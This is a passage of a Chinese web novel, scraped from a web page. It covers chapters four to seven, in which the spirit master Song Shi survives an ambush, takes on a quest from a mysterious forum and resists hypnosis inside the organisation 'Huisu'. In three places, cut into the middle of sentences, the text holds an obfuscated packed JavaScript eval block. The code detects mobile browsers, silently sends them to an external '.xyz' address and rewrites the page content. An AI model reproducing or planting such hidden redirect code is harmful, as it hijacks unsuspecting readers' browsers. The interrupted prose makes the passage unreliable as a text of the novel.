宋拾双手撑住坐起,脑袋昏昏涨涨的,这种感觉并不陌生,是麻药。 为什么会使用麻药? 宋拾轻轻皱眉,揉了揉太阳穴,装作迷惑的模样环视四周。 咕嘟冒泡的营养液,电子仪器分析的声响。 她身下是胶囊状的疗养仓,周围整齐地陈列着大大小小的玻璃罐。 不远处,大号营养罐中浮沉着一个蜷缩的人,双臂环抱住膝盖,黑色的长发遮住了脸。 看起来像是在做人体实验,一个恐怖组织会做人体实验,很合理。 宋拾捡过报纸,上面刊登着联邦的人体实验,寻找志愿者,为科学和医学献身。 “想要进步,就要有牺牲。”这是那则广告上的口号。 一些小罐里则装着一堆奇形怪状的生物,紫色的蜗牛,在无水的玻璃罐里飘着的变色水母,正在吃生肉的蚰蜒,舌头状有尖牙的不知名生物…… 看得宋拾汗毛直立。 又是变异生物。 “感兴趣吗?”女医生扶了扶眼睛,笑容有些渗人。 “不太。”宋拾迅速收回目光,看向女医生胸前的身份名牌——赵柯,底下附着行小字“你也不想死吧?”,以及一个简笔画的死亡笑脸。 宋拾:…… 赵柯脸上露出遗憾的神情:“好吧,好吧。好孩子,你知道你现在在哪吗?希望你的回答不是联邦,不然你头顶的隐形枪口会对准你的。” “孩子,你只有三秒的回答时间哦。”赵珂眼镜镜片上折射着冰冷的反光。 “回溯。”她立即答道。 赵珂满意点头,拿起报告单:“营养不良,身体素质有待加强,并没有什么先天性疾病,不需要基因优化。” “西索斯说你是精神师,”她将报告单揉成团,丢进垃圾桶,“回溯不欢迎精神师,如果你不想最终成为我罐子里的小宝贝,就努力变得更有用吧。” 宋拾皱眉,还没来得及思考赵珂话里的意思,门突然响了起来。 滴—— 金属门陡然打开,身穿西装的年轻金发男子走进来,他脸上挂着得体的微笑:“教授。” 赵珂俯身在光脑整理数据,随意指了指宋拾:“带她去食堂用餐。” 当男子走近时,宋拾才看见他耳朵上的标签“仿生人7号”。男人的皮肤光滑细腻,表情自然,动作流畅不僵硬,如果不是标签,没人会察觉它是仿生人。 对上它脸上温润的笑容时,宋拾刻意观察它的眼珠,仿生人俏皮地眨了眨眼。 它扶起宋拾走下疗养仓,赤裸双足触碰冰凉的地面,不自觉蜷缩起脚趾,仿生人不知从哪掏出一双拖鞋。 仿生人蹲下伸手要触碰她的脚踝,宋拾头皮发麻后撤步:“不,不用了,我自己会穿鞋。” 仿生人这才含笑将拖鞋放在她脚边,站起身后退几步。 宋拾跟在仿生人身后七拐八拐了十几个走廊才走到食堂。 食堂里的人并不多,大多是半机械化的少年们,和极少数的成年人。 他们餐盘里的食物各不相同,半机械化的孩子们吃着普通的食物和饮品,全机械化的成年人则大嚼一种蓝色的晶块——不必担心他们的牙齿,除了大脑,他们已经做到了全机械化,牙齿自然也不例外。 仿生人适时解释道:“那是婪鲸,可以为一切机械提供充足的能量。” 宋拾心中攀升起了一丝荒谬感。 人类急不可耐将身上的零件替换成机械义肢,越来越像机器人,而仿生人却越做越像人。 “所以你也需要吃婪鲸吗?”宋拾蓦地问道。 仿生人像人类一样愣了下,后摇头:“我们很节能的,太阳能或者充电就可以供我们活动。” 宋拾注意到了“我们”,她问:“这里还有别的仿生人吗?很多吗?” 仿生人礼貌微笑,回答道:“不是很多,我们能做的只是提供简单的服务。小姐,您还有什么问题吗?” 宋拾摇头,抬腿踏进食堂,接着爆发电子警报长鸣,红蓝的灯光交错打在宋拾身上。 “警告警告,精神师!” “警告!发现精神师!” ……宋拾哽住,她不知道自己是不是招电子警报的喜欢,一个二个的总要为她尖叫报警。 不是,谁在食堂安装警报啊! 众人的目光火燎燎地落在她身上,宋拾甚至从他们眼里看到了极富话剧色彩的情感变化,愤怒和仇视,甚至有人开始活络筋骨。 赵珂说的没错,回溯不欢迎精神师。 仿生人上前,温和解释道:“大家不要误会,这是索西斯大人带来的新成员——一位精神师小姐。” 话落,聚焦在宋拾身上的目光更加灼热几分,仇恨值拉满,恨不得将她千刀万剐,还不如不解释! “小姐,您可以进去用餐了。”仿生人俯身做了个“请”的姿势。 人工智障不是白叫的。 宋拾紧盯着不断逼近的人群,腿部肌肉绷紧正准备跑,可突然眼前的人们又退回座位上,露出看戏的目光。 宋拾:“???” “请让一让。” 甜腻慵懒的嗓音激起宋拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013777|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一身鸡皮疙瘩,她扭头望去—— 那是一个身形纤细娇小的少女,黑色的卷发让她看起来像只乖顺的绵羊,燃烧烈火的红眸冲淡了微微下垂的眼角带来的天真。 她身上没有半分机械化的地方。 “谢谢。” 少女的目光并未落在她身上,漫不经心随意寻了座位坐下,配餐机器人端着餐盘轻轻放在她面前。 预想的冲突和血腥暴力画面并没有出现,其他人兴致缺缺地收回目光。 宋拾顿悟了。 她坦然自若地迎着警报声踏进食堂,在众人恨不得在她身上灼出洞的目光下,坐到少女的附近。 他们恶狠狠地瞪她,却不敢轻举妄动。 宋拾勾唇,赌对了。 这个女孩的身份不低,就是不知道能不能抱上大腿。 送餐机器人的速度很快,不到半分钟,宋拾眼前就摆上了一大块牛排和牛奶,牛排散发着热气,香味扑鼻。 回溯的伙食居然还不错。 她用刀划开一大块肉,张嘴要咬,霎时,一股被电击中的酥麻感爬上后脊,身体率先做出反应,弹簧般跳开。 “咔嚓——”子弹击破餐盘,残破的碎片飞来直直飞溅向她的眼睛。 宋拾迅速侧身,餐盘碎渣子却还是在她眼尾划破一道长痕。 鲜血冒出,浸红她半张脸。 黑发少女吹了吹冒烟的枪口,冲她粲然一笑。 宋拾警铃大作,大意了。 果不其然,其他人见黑发少女动手了,纷纷蠢蠢欲动,摩拳擦掌,从座位上站起。 糟糕。 有个几乎机械化完全的男人率先走到宋拾身前,出拳就要锤向宋拾,女孩仓皇翻身躲过,金属底板被男人锤出一个硕大的坑。 “呵,居然躲开了。”大块头歪脖子,熟络了下筋骨。 视线朦胧发白,胃开始绞痛,她连一口饭还没吃上,眼前的大块头再对着她轻轻这么来一下,她能保证自己非但躲不开,还死得透透的。 一声痛苦的哀嚎突然爆发。 大块头满头青筋,双手狠狠地扼住自己的喉咙,铁青着一张脸,张着嘴,像风箱般发出“嗬嗬嗬嗬”的声音。 后背的酥麻感再至,宋拾酿跄着步子后退,紧紧盯着眼前的人。 “嚇嚇嚇嚇呃……”黑色的虫腿撑开他的嘴唇。 大大小小的蚰蜒从他嘴里眼里爬出来。 它们大快朵颐吞食着白色的眼球,长节的腿扒拉住皮肤。 “救……救我,救救我……”大块头还没有死,胸口剧烈上下起伏着,声音绝望而无助。 黑发少女笑:“恭喜中奖,赵珂培养新品种。” 原本在一旁待机的仿生人适时开口:“请问诸位是否需要洗胃?” “什么?我们的饭里也有?!” “该死的赵柯!” 人们纷纷呕吐状,扣嗓子眼,恨不得把胆汁吐出来,他们仓促慌乱地冲出食堂。 有人一脚踩在那块本该进宋拾肚子里的牛排,汁水四溅。 一只迷你难以察觉的蚰蜒从肉里爬出。 偌大的食堂只剩下她们俩。 “你好,宋拾,是我救了你的小命哦。”黑发少女笑盈盈地手指转着枪,“我叫贝莉娅,你想逃离这里吗?” 5. 第五章 宋拾瞥了眼墙上的摄像头,没有说话。 贝莉娅突然轻轻哼笑,甜腻的,融化掉的糖果般,“警惕并不是一件坏事。”她说完,举起枪冲着摄像头开了一枪。 “现在可以回答我了吗?” 红宝石一样的眼眸静静看着她。 毫无疑问,这依旧是回溯的试探。 贝莉娅的演技很拙劣,她不但在一开始就叫出了她的名字,还只弄坏了一个摄像头,但光宋拾察觉到的摄像头就不止三个。 索西斯是不是被人背刺过,怎么那么疑神疑鬼。 宋拾默默吐槽。 于是,她挺直腰身,不假思索道:“我觉得回溯挺好的,在这里不愁住不愁吃,虽然看起来食品安全不达标哈,但总比在外流亡捡垃圾强。” 显然她这番话术很有效,贝莉娅将枪收进腰间,冲她粲然一笑:“我也是那么觉得的。” 宋拾:“……” 好险,差一点就死了。 “那、那我现在可以吃饭了吗?”她迟疑开口。 这个身体饿得异常地快,因为饥饿,胃抽疼得像是绞在了一起。 贝莉娅微愣,蹙眉并未答复,而是掏出一枚金属戒指抛给宋拾。 “你跟着它的指示找到房间,回去好好休息一下,以后每天都有训练。” 宋拾急忙接住,低头观察了几下,冰冷金属质感,但没什么重量。 怎么又是高科技啊!能不能教教她怎么用啊! 此时的贝莉娅已经转身离开,快走出门口时,她轻声道:“每个房间里都有营养液,比食物要……好些。” 比食物要好一点?宋拾脑袋里陡然冒出蚰蜒的画面,一个激灵。 也不知道是她碰到哪了,戒指突然传出电子音,投出一道屏幕,一个女性的形象出现在宋拾眼前。 “您已激活智环,墨格拉将持续为您服务。宋拾小姐您好,有什么能为您服务的吗?” 它双手交叠搭在腹部,干练的短发,脸上挂着得体的微笑。 宋拾新奇地观察了两眼,做作地清清嗓子:“我想回房间。” “墨格拉乐意为您效劳,请随指示灯走。” 女性的虚拟形象刺啦一声消失,画面变成箭头指示。 宋拾跟着箭头指示顺利地找到了自己的房间,途中一个人也没遇到。 她根据指示将智环贴在电子门锁上,轻快的电子提示音过后,宋拾推门而入。 屋内并没有窗户,但模拟太阳光把室内照得很是明亮。 床铺上铺着被阳光晒过的被褥,柔软的地毯,桌子上摆着一盆电子鲜花,凑近甚至能嗅到真花似的香。 宋拾先进盥洗室简单地清洗了脸上的血迹。眼尾的伤口很长,但并不是很深。 走出盥洗室后,宋拾注意到身旁的金属墙上亮着“营养液”的按钮,于是她果断地戳了下。 冰冷的蓝光快速扫过她的身体,墙壁陡然裂开,宋拾瞬间警觉起来,卧倒在地面。 墙里并未冒出武器大炮,只是送出一瓶营养液后又轻轻合上。 宋拾拍了拍身上灰尘站起,一边咒骂高科技,一边拿起营养液开喝。 有吃的有住的,或许,待在回溯也不错? 她这么想着,下一秒,智环又投出一道全息屏幕,熟悉的绿色简约论坛主页面出现在她眼前。 “恭喜用户活下来,检测到您的设备已丢失,一万星币将打在您的论坛账户上,请注意查收。” !?不是!?这不是回溯的设备吗?这个论坛怎么会在这! 难不成这个论坛其实是回溯研发的? 但很快,她便打消了这个想法。 这个论坛更像是更高级文明的东西。它几乎无所不知,它知道她的情况,甚至能像电脑病毒一样,悄无声息地出现在任何的设备上。 页面随之变换,新的黑字出现。 “用户今天捡垃圾了吗,您已成功完成第二次任务,论坛通过对您个人数据的评估,决定让您晋级。” “恭喜用户晋级,成为高级用户。您将享有一次与智者沟通的权利,但仅此一次,请谨慎使用。” 智者?宋拾困惑地皱起眉毛。 论坛所说的智者是谁?论坛背后的研发者? 现在有两种可能,一是论坛来自更高级星球的文明,二是本地土著的研发,但论坛过于神秘诡异,甚至逃过了墨格拉的监控,宋拾更倾向于前者。 不过无论那种结果,宋拾都觉得,在这个论坛后面的家伙,一定想要得到什么。 人不会无缘无故去做某件事。 论坛上的字再次更换,熟悉的日期和字眼浮现。 “4033年3月23号晚,联邦学院失踪了数十名学生,很巧,同时在多科市老港口,据说是由于安保不严,一名携带炸弹的酒鬼溜进伊索纳德号,随即引发爆破。久藤市垃圾场上的那枚来自联邦学院的校徽是否与伊索纳德号事件有关呢?” “智者希望你能去调查伊索纳德号和学员失踪事件,他很看好你。” 又是智者。智者希望她能去调查?难道那个幕后之人一直在监视她? 宋拾顿时起了一身鸡皮疙瘩。 老实说,她后悔了,不应该贪钱下载这个病毒论坛,可如果没有论坛,她那天或许就已经死在回溯的枪下了,越想她心情就愈发复杂。 同时,宋拾注意到论坛系统用了“他”字。 “奖励为:五百万星币。您可以拒绝,但还是那句话,有钱为什么不赚呢?鉴于您精神师的身份,如果接受任务,这边可为您提供五个稀有精神术法视频教学盲盒哦。” 论坛或者说,智者,他用丰厚的奖励来做诱饵让她去调查所谓的任务,是不是说明,他并不是全知全能的? 宋拾沉默了下去。 能在艰苦的末日中生存下来,宋拾其实并不缺乏思考分析的能力,但她很讨厌那种大脑燃烧的感觉,她更喜欢做个五大三粗只会砍丧尸的文盲。 【接受or拒绝。】黑色的大字占据整个全息屏幕。 天下没有免费的午餐。 宋拾不是赌徒,也不喜欢赌。 可在乱世里不堵一把往往很难有转机。相比于五百万星币,论坛附赠的五个稀有精神术法更吸引她。 从目前来看,她和智者在利益上并无冲突,而且她也急需生存的能力。 “我接受。”宋拾听见自己说道。 “今天捡垃圾了吗接受任务。” 论坛主页面最上方出现了一个“任务”的标识,宋拾点进去,里面是一个表格,写着:“伊索纳德号上运着什么”“幕后黑手究竟是谁”“联邦学院的学员为什么会失踪”“学员失踪是否和伊索纳德号有关系”…… 密密麻麻的问题铺满整个屏幕,看来是等着她来填写。 此刻,安静的论坛主页面上亮着标有17条消息的小红点。 她点进去,看见3349在一天前发了一条双手合十的emoji表情,配文“逝者安息”。 宋拾:“……” 剩下的都是那位叫铁皮猫的私信。 铁皮猫:?你在说什么,什么叫你和我是一样的?我告诉你,不要套近乎。 一分钟后,铁皮猫:哈哈哈哈哈,是不是心里咯噔一下?咳咳,我不装了,我是21世纪的新青年,你呢? 铁皮猫:我看见你发的帖子了,祝你好运哦。唉,好不容易碰见一个和我一样的“外地人”。 宋拾快速地翻阅,接下来对方似乎断定她死了,基本都是些自言自语。 宋拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013778|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了想,还是觉得先不回为妙。她点开个人账户里查看了她期待的稀有精神术法盲盒。 【骨肉再生】【复制】【隐身】【预知】【读取】 除了骨肉再生,其它术法都处于冰冻被锁的状态,底下有一行小字“根据任务进展解锁”。 硬了,拳头硬了。 就说怎么送得那么丰厚,她还想着只拿这五个术法,在任务中随便糊弄几下,原来是在这里等着她啊。 骂归骂,宋拾还是老实地点进了【骨肉再生】。 视频是分了阶段的,从易到难不断提升难度,老师讲得细致且浅显易懂,讲解了最基础的伤口如何愈合的术法。 全息荧幕上,老师拿刀划开自己的胳膊,紧接着,她的肌肤上浮现淡蓝色的符文,极为快速地滑动着,伤口也几乎是在瞬间愈合。 看得宋拾很是激动,掏出了从食堂顺来的刀叉,往指尖上划出一道口,鲜红的血珠立刻溢出。 她按照教学课程上教的去做。 淡蓝色的符文在她皮肤上闪了几下,熄火消失,指尖的伤口并未愈合。 她并不气馁,再接再厉。皮肤上的蓝色符文比第一次亮了些,但也是立马便消失。 反复试了不知道有多少次,指尖的伤口都快自我愈合的时候,宋拾皮肤上的蓝光终于大亮,符文飞快滚动。 坚持了三秒后,宋拾像是脱水的鱼躺着床上用力喘息,胸口剧烈浮动,汗水浸透衣服,宛如刚从水里捞出。 她抬手,透过模拟太阳光,指尖上的血液早已凝固,伤口消失不见。 成功了。 她咧嘴笑。 很好,又多了点生存的保障。 宋拾后知后觉想起什么,伸手抚上眼角,本该有条伤痕的位置此时平坦无比。 脸上的伤痕也消失了。 时间悄然流逝着,淡蓝色的光芒在这个房间内反复亮起又熄灭,宋拾床下横七竖八地躺着一堆营养液的空瓶。 宋拾看了眼时间,凌晨三点半。 最后一次。 她拿起被自己磨锋利的餐刀,狠狠地划破胳膊,明亮的蓝光陡然从她皮肤上亮起,晦涩的符文飞速滚动。 血淋的长痕上红色的肉芽快速交织愈合,蓝光结束后,胳膊上只留下一道极为浅淡的痕迹。 宋拾长舒了一口气,疲惫终于袭来,沉重的眼皮轻轻阖上,昏昏沉沉睡了过去。 …… 宋拾第一次起晚。 一睁眼,六点二十分,训练开始时间是六点半。 她漱了口水,狂灌一瓶营养液就飞奔出门,好在有墨格拉的指示,她赶上了。 “所有人五秒内排好队。” 老师站在最前方,扬声指挥着。 宋拾顶着乱蓬蓬的鸡窝头飞窜进队伍中,忍不住打了个哈欠。 精神术法比她想象中更费精力,浑身的骨骼仿佛在夜里被大货车来回碾压。 宋拾所在的队伍并不是很长,都是和她差不多大的孩子,身上或多或少地有着机械化的痕迹。 “今天的课程,是你们最期待的如何使用枪。” 宋拾注意到当老师说完后,身边的孩子们脸上都露出难以遮掩的喜悦。 “咚咚咚——” 金属脚掌落地声由远及近,机械化完全的男人停在老师身边,将一箱枪放在地面上。 老师背着手,面无表情扫过众多孩子,“有人想试试吗?” 孩子们纷纷举手,宋拾皱了皱眉,自己如果不举手好像显得格格不入。 于是她缓缓举起手。 老师的目光在队伍中一转,定格在宋拾身上,伸手指了指。 “你,上来。” 宋拾:“……” 她中奖几率都没有那么高过。 6. 第六章 宋拾只能硬着头皮走上前。 老师看了她一眼,觉得眼生,“新来的?” 宋拾点头。 “我给你做个示范。” 老师果断地转身从箱子里拿出一把枪,“喀嚓”上膛,左脚前踏半步,姿势标准地瞄准20米远的靶子。 “嘭——” 毫无悬念,正中靶心。 宋拾接过老师递来的枪。枪是宋拾老朋友了,但显然一个新来的孩子是不可能会熟练地开枪的。 同时也不能显得太过于笨拙,既要展现足够的利用价值,又不能聪明得招人猜忌。 宋拾行动笨拙地摆好姿势,照壶画瓢瞄上靶子。 “嘭——”子弹打中六环。 她轻皱眉头,像是太不满意,摆正好身体再度瞄准靶子。她屏息瞄准靶心,在胸口轻微地起伏下,她握枪的手似是无意地偏了偏。 “嘭——”硝烟从枪口滚泄而出。 九环边缘,接近八环。 站在身边的老师并未开口,宋拾只能又一次调整姿势,这次有了标准的雏形,她深吸一口气屏息瞄上靶子,扣动扳机。 九环接近十环。 宋拾接连开了几次枪,直到老师喊了暂停。 只有一次是十环,其余的都是九环。 老师面上看不出半分情绪,点头让她下去,宋拾刚要扭身离开时,老师蓦地开口:“等一下。” 老师抬手轻触佩戴在耳朵上的通讯设备,像是听见什么消息,眉毛逐渐皱紧,眼睛一眨不眨地盯着宋拾,看得宋拾心里直发虚。 难道是她握枪的姿势暴露了什么吗? 接听完信息后,老师脸上的表情恢复如常,指了指操场:“你,跑二十三圈。” 多少?!二十三圈?! 宋拾望着操场,眼前一阵阵发黑,早知道来之前多喝几瓶营养液了。 “愣着干什么?是没长腿吗?”老师黑着脸瞪她。 不知道是不是错觉,老师在接听完信息后似乎对她极为不喜。 可恶,究竟是谁在背地说她坏话啊! 她抬起舌头抵了抵上颚,迈开腿跑了起来。 刚开始宋拾还能勉强适应,但跑了五六圈后,喉咙里冒出股铁锈的甜腥味,她脑袋一阵发昏,仿佛灌满铅的双腿沉重地抬起又落下。 她抬头看向不远处,孩子们有条不紊地举枪射击靶子,老师也在不厌其烦地细心指导着。 老师环视他们,慢悠悠道:“既然成为回溯的一部分,你们就应该知道枪口发出的子弹该射中谁的心脏。” 他顿了顿,一字一句道:“肮脏的,低贱的,精神师的心脏!” 跑到附近的宋拾一个踉跄,险些摔倒在地。 老师继续慷慨激昂道:“凭什么要让他们占据好资源,压迫我们普通的自然人!凭什么我们就要对着他们上等人摇尾乞怜!凭什么?!”说完,很是恶狠狠地剜了宋拾一眼。 宋拾:“……” 好好好,好日子她是一天没享受过,天大的屎盆子尽往她头上扣。 …… 一圈又一圈,宋拾跑得精疲力尽,耳朵嗡鸣一片。 这幅身体的身体素质本来就不好,跑到最后宋拾觉得自己几乎要猝死过去。 她也算是见识到了回溯全体对精神师的不待见,要是让她知道是谁打来的通讯,她一定要…… 不行,好累。 终于,她拖着沉重的身躯跑完了整整二十圈,整个人累瘫在地上,大口大口喘气。 智环里突然传出毫无波澜的电子音:“宋拾,请立即随墨格拉的指示前往晨曦大楼707室。” 宋拾累得手指都动不了,死鱼般继续仰面躺着。 墨格拉继续道:“检测到您的心率异常,是否需要帮助?” “我需要营养液。”宋拾有气无力张了张嘴,嗓音干涩嘶哑,“很多很多营养液。” “好的。”墨格拉说完后,便没了动静。 宋拾并未太在意,休息的差不多后,她双手撑地坐起,脑袋猛地一阵眩晕,晃了晃脑袋眼前逐渐明亮过后,视线里多出了几瓶摆放好的营养液。 短暂的休息过后,宋拾跟随墨格拉的指示进入一片树木般耸立的钢铁建筑群,在其中找到一栋银晃晃的大楼,巨大的牌子上写着“晨曦大楼”。 她将智环贴在电梯门锁上,随即,电梯门锁发出红色的光进行全身扫描。 “禁止携带枪械进楼!禁止携带枪械进楼!”电子提示音急促地响起。 “身份验证——宋拾,无持枪资格,警告一次。请把枪械交给管家。” 宋拾:“……” 这都被发现了。 宋拾内心嘟囔着,从兜里掏出训练时偷摸顺走的枪,不情不愿地交给站在一旁含笑的仿生人。 看来下次要藏好点了。 电梯门这才打开,宋拾刚要进去,发现里面已经站着一个人了。 黑色卷曲的短发,红色的眼眸,嘴角总是挂着甜腻的弧度,贝莉娅。她似乎并不意外宋拾出现在这里,笑盈盈道:“七楼?” 宋拾走了进去,好奇问道:“你怎么知道我要去七楼?” “你看起来很累,训练怎么样?” 贝莉娅并未答复,而是扯到别的话题上,她眼睛飘忽望着某一处,宋拾顺着她的目光看去,微型监控。 宋拾小指微微痉挛了下,心里转了弯,“还好,训练能跟上。你经常来这里吗?” “倒也不是说经常来,西索斯觉得我精神不太好,让我来这里……放松一下,或许我们以后会经常见面。”贝莉娅说。 接下来就是一段诡异的沉默,两人都没有再说话。好在,很快到七楼了,门开了。 两人一起走出了电梯,等到电梯门阖上后,贝莉娅几步凑近,压着嗓子说了几个字便快步离开了,从监控上看她只是撞了一下宋拾的肩膀。 宋拾的心却沉到了底。 贝莉娅说的是“小心被催眠”。 西索斯绝对是她见过最警惕的人,警惕到离谱。 只是西索斯不信任她,宋拾可以理解,但贝莉娅说“西索斯觉得我精神不太好……”,西索斯也对贝莉娅不放心? 她又想起贝莉娅对监控的戒备。 啊啊啊……别想了,还是想想她该怎么应付所谓的催眠吧。宋拾一抬头,发现自己不知不觉间已经走到了707室门口。 算了,走一步算一步。 她敲了敲门。 “进。” 宋拾推开门,白鸽扇动翅膀飞过,醉人的玫瑰香水气味扑面而来,差点熏晕她。 里面坐着的人让她以为自己产生了幻觉。 “贝、贝莉娅?” 几根白羽落下,白鸽停在桌上,歪着脑袋看她。 阳光透过玻璃打在少女卷曲的黑发上,她嘴角挂着温和的笑:“抱歉,忘记换回来了。” 话音刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013779|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落,淡蓝色的符文从她皮肤上显现滚动,紧接着,一个温文尔雅高大的金发蓝眼男人出现在椅子上。 精神师? 宋拾看得目瞪口呆。可恶,这是什么精神术法,好想学啊! 他双手交叉放在桌子上,温和道:“请坐。很抱歉吓到你了。” “没关系。”宋拾说。 待宋拾坐到椅子上后,男人才道:“你好,宋拾,你叫我Z就可以。今后,由我来负责你精神术法的课程。” 宋拾差点把那句“还有这等好事”脱口而出,她把这句话咽了又咽,问道:“那你刚刚变成贝莉娅,也是精神术法吗?” Z矜贵地颔首,金边眼镜上装饰的链条也随之摇晃。 “那……我可以学吗?”宋拾眼睛很是明亮,希冀地望着Z。 “当然可以,只不过变形是高阶术法,你现在还学不了。”Z微笑道,“今天我会教你控制术。” 对宋拾来说,学什么都不亏,点头如啄米:“好的。” Z伸出手,蓝色符文爬满他的面庞、脖颈、手,他对着挂在墙上油画轻轻点了点,油画颤抖几下浮起,到目前为止还没有很吸引宋拾。 Z挑眉,脸上滚动的符文速度加快,那副画上的颜料开始一点点剥离画布,直到完全剥离,画布上干干净净,接着画又被复原,恢复如初。 好恐怖的控制力。 宋拾心道。 “想学吗?如果你不感兴趣,我也可以试试教你变形,你好像对变形很感兴趣。”他牵起嘴角,温和的目光看向她,深蓝色的眼眸像是雨后晴空颜色。 宋拾脊梁骨如同触电,脑袋里的危险雷达疯狂滴滴警报。 她的预感总能帮她规避掉很多危险,这是末世生存者的本能。 她面色如常,眨了眨眼:“这个也很有意思,我想学。” Z讲得很细致,从最基础的如何让水杯浮空讲起。他嗓音浑厚但轻柔,蓝色的眼睛总是包容地看向她,宋拾很讨厌这种目光。 他边讲要点边示范,又让她自己尝试。 因为在晚上的时候宋拾就大致掌握了释放精神术法的核心,施展的时候并不费力。 水杯顺利浮在半空又稳当落在桌子上。 Z像是很惊讶,用半夸张地语气夸赞道:“看来我需要调整一下课程进度了,这本来是今天一整节课的内容。” 他平静的眼眸注视着宋拾,带了些冷漠,蔚蓝色的瞳孔犹如海洋上的漩涡,玫瑰香水味似乎更加浓郁刺鼻了些。 不用第六感,宋拾就察觉到不对劲,她张了张嘴,“我——” Z泛白的指节轻轻敲响桌面,宋拾本来挣扎的眼神逐渐变得涣散,呆滞地看向前方。 “真正的好孩子要服从组织,告诉我,孩子,你是否会为组织效力,甚至付出生命?” 宋拾语调毫无波澜答道:“抱歉先生,我认为衬衫的价格为九磅十五便士。” 什么东西? 催眠失效了? Z紧拧眉头,符文在他的皮肤上流动着,催眠术法像蜘蛛吐出的丝,紧紧连接着对方昏沉的意识。 他反复检查了几遍,精神蛛丝没有问题,那只能是眼前这个女孩的问题了。 在被他催眠后心理防线还那么厚的,Z是第一次见,只是如果精神蛛丝再深入下去,她清醒后也会变成弱智。 他笑出声。 那又如何? 精神蛛丝向意识的深处探去。 7. 第七章 精神触须探进了意识的深处,敏锐捕捉到了一个一晃而过的画面。 画面有些模糊,怪异的人形生物嘶吼着冲过来。 变异生物?还是没见过的变异种类。 Z立刻放出更多的精神蛛丝让画面更清晰些。 被催眠的宋拾皱紧眉毛,搭在大腿上的手用力握起拳头,像是极力忍耐着什么。 Z并未在意,粗暴地操控着精神蛛丝,符文滚动的速度越来越快,画面逐渐清晰。 “咚咚。” 敲门声不合时宜地响起。 精神蛛丝像是受到惊吓,猛地回缩,画面消失。Z脸色霎时一黑,暗骂一句。 “咚咚。” 敲门声仍在继续。 Z的脸上终于出现不耐烦的神色,他手指叩了叩桌面,蓝色的符文黯淡下去。 面前的女孩意识尚未回笼,迷茫地环顾四周。 他重新戴上好人面具,轻轻抚摸了下鸽子头,脸上浮现温和的笑意,“请进。”伪装的毫无破绽。 黑发红眼的少女推门而进,她的目光在宋拾身上溜了一圈,才看向Z:“我打扰到你了吗?” Z蓝色的眼眸对上贝莉娅的目光,仍是和善笑道:“怎么可能,亲爱的小姐,你并未打搅到我,不要有心理负担。不过,我以为你早就离开了,是我的治疗没起作用吗?” 贝莉娅扬起她那像融化糖果的笑容,“您的治疗很有效,只不过西索斯有事要找她。” 她指了指茫然的宋拾。 Z的嘴角痉挛抽搐了下,垂下眼睫,看不清神色:“是嘛,倒是稀罕,这次居然西索斯先生没让墨格拉来通知。麻烦贝莉娅小姐特意跑一趟了。” “不麻烦,”贝莉娅脸上的笑容愈发灿烂,“只是不知道Z先生居然那么了解西索斯呀。” …… 宋拾意识一清醒就听见两个人古怪的对话,还是有来有回的阴阳怪气,迫于情况,宋拾只好继续装傻充楞。 只是她没想到,自己藏的那么深,那么窘迫的画面居然差点被Z给挖出来。 当年,宋拾还是个该溜子的时候,自信又猖狂,整日对着自己的小弟们狂吹大牛,趾高气扬大放厥词说仅凭自己一人就能干掉一群丧尸,于是霸气登场走进丧尸群。 果不其然,龙傲天宋拾险些丢掉小命,狼狈逃窜。 可恶,死去的记忆突然攻击她。 宋拾的心脏仿佛被分成了扇形统计图,五分愤怒,三分羞恼,还有两分复杂,她恨不得对着空气打两套军体拳。 还未从羞耻的情绪中剥离,眼前突然出现贝莉娅的脸,她轻轻拍了拍宋拾的脸颊,手指冰凉,“你还知道你是谁吗?” “啊?”宋拾露出一副茫然无知的模样,只是看着她。 贝莉娅转头看向Z,笑容里带刺:“宋拾是索西斯特意带回来的精神师,我以为你会知道分寸,没想到Z先生还是喜欢这种下作不入流的手段。” 说罢,她拉起宋拾就要离开。 身后蓦地传来Z的声音,带笑的声音里透着嘲讽:“同是阴沟里的老鼠,谁又比谁体面呢?” 宋拾却嗅到了一丝破防的味道。 贝莉娅头也没回地拉着宋拾离开了这间充斥着玫瑰香精的房间。一出门,新鲜空气灌入宋拾的呼吸道,她觉得自己好多了。 宋拾松开了对方牵住她的手,真心实意道:“谢谢你。” “不客气。” 贝莉娅按上电梯按钮,如火焰一般的眸子里闪烁着嘲弄,“Z是个疯子,变态,他总喜欢窥探别人的隐私,通过揭开对方的不堪的伤疤获得所谓的安慰。哈,老鼠脆弱的自尊心。” 宋拾默不作声听着。她能明显感受到贝莉娅与整个回溯的不同,她的善意提醒和出手相助,未机械化的身体,对索西斯的戒备,甚至不厌恶她这个精神师。 